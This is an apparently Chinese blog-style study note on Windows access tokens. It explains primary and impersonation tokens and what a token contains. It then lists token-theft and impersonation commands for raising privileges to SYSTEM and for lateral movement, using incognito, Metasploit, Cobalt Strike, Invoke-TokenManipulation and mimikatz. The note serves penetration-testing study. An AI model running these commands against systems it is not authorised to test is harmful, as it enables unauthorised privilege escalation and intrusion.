美文网首页
Windows Access Token 学习

Windows Access Token 学习

作者: CSeroad | 来源:发表于2020-05-02 19:40 被阅读0次

    前言

    最近在总结windows提权时,关注到了令牌窃取。也属于提权的一种姿势,这里简单学习一下。

    访问令牌

    产生

    当用户登录系统成功后,系统会生成与这个用户账户相关联的访问令牌。每个进程创建时都会根据登录会话权限由LSA(Local Security Authority)分配一个Token。一般情况下,用户双击运行一个程序,都会拷贝explorer.exe的Access Token。

    简介

    访问令牌(Access Token)是Windows操作系统用描述进程或者线程安全上下文的一个对象。
    Windows下有两种类型的Token令牌:授权令牌和模拟令牌。

    • 授权令牌(Delegation Token),也叫主令牌,是由windows内核创建并分配给进程的默认访问令牌,每一个进程有一个主令牌,它描述了与当前进程相关的用户帐户的安全上下文。用于交互式登录(如rdp登录访问)。

    • 模拟令牌(Impersonation Token),所在进程的主令牌会自动附加到当前的线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。用于非交互式的会话(利用WMI进行远程访问)。

    主令牌与进程相关;模拟令牌与模拟令牌的线程相关。

    注:两种令牌会在系统重启或者关机后才会全部清除,不然将会一直在内存中存留。也就是说,如果机器不关机或者重启的话,就会存在散落的令牌。在系统注销后,具有授权令牌的用户会变为模拟令牌Impersonation Token,但依然有效。默认情况下,当前用户只能看到当前用户自己和比自己权限低的所有访问令牌。

    组成

    Windows Access Token 组成如下:

    • 用户帐户的安全标识符(SID)
    • 用户所属的组的SID
    • 用于标识当前登录会话的登录SID
    • 用户或用户组所拥有的权限列表
    • 所有者SID
    • 主要组的SID
    • 访问控制列表
    • 访问令牌的来源
    • 令牌是主要令牌还是模拟令牌
    • 限制SID的可选列表
    • 目前的模拟等级
    • 其他统计数据

    令牌伪造

    令牌伪造常用于进行提权、降权和横向渗透等等。

    Incognito.exe工具

    incognito.exe list_tokens -u   查看本地可用的token       
    incognito.exe -h IP -u administrator -p Password  -g list_tokens -u  通过IPC远程列举tokens
    incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe   以指定token执行命令
    
    image.png

    metasploit

    load incognito  加载incognito
    list_tokens -u  列举token
    getuid          查看当前token
    getsystem       提升至system权限
    impersonate_token "NT AUTHORITY\\SYSTEM"  模拟令牌的窃取
    steal_token 1252        从进程中窃取
    rev2self       返回之前token
    drop_token  返回之前token
    
    image.png

    CobaltSrike

    steal_token  1234  从1234进程窃取用户令牌
    
    image.png

    Invoke-TokenManipulation.ps1 脚本

    github 下载import导入该脚本。

    Invoke-TokenManipulation -Enumerate | out-file token.txt  列出当前散落的令牌,并保存到 token.txt 文件里
    Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM" 将当前cmd提升至system权限下
    Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcesId 1234   已UID的形式,提升权限
    
    image.png image.png

    mimikatz

    token::list     查看当前机器中的所有用户令牌
    token::whoami   查看当前的令牌
    token::Elevate  提升为system令牌
    

    总结

    想获取系统的system权限可以伪造主令牌,也可以伪造模拟令牌。
    伪造主令牌时,需要创建进程或者注入到某个进程。比如steal_token命令;
    伪造模拟令牌时,需要复制或者模拟线程。比如impersonate_token 命令;
    如有不对,还请指正。

    参考资料

    Windows Access Token 学习与利用
    Windows访问令牌安全探究
    窃取,伪造模拟各种 windows 访问令牌 token 利用

    相关文章

      网友评论

          本文标题:Windows Access Token 学习

          本文链接:https://www.haomeiwen.com/subject/blnfghtx.html